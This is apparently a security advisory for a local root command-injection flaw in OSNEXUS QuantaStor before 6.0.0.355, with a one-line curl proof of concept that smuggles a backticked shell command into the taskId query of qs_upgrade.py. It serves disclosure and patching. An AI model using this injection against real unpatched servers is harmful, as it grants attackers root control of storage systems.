Description
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Affected products
| Vendor | Product | Affected | Fixed |
|---|---|---|---|
| OSNEXUS | QuantaStor | < 6.0.0.355 | 6.0.0.355 |
References
- https://www.wbsec.nl/osnexus third-party-advisory technical-description exploit
- https://csirt.divd.nl/DIVD-2021-00020/ third-party-advisory
- https://www.osnexus.com/products/software-defined-storage product
- https://csirt.divd.nl/CVE-2021-42082 third-party-advisory technical-description exploit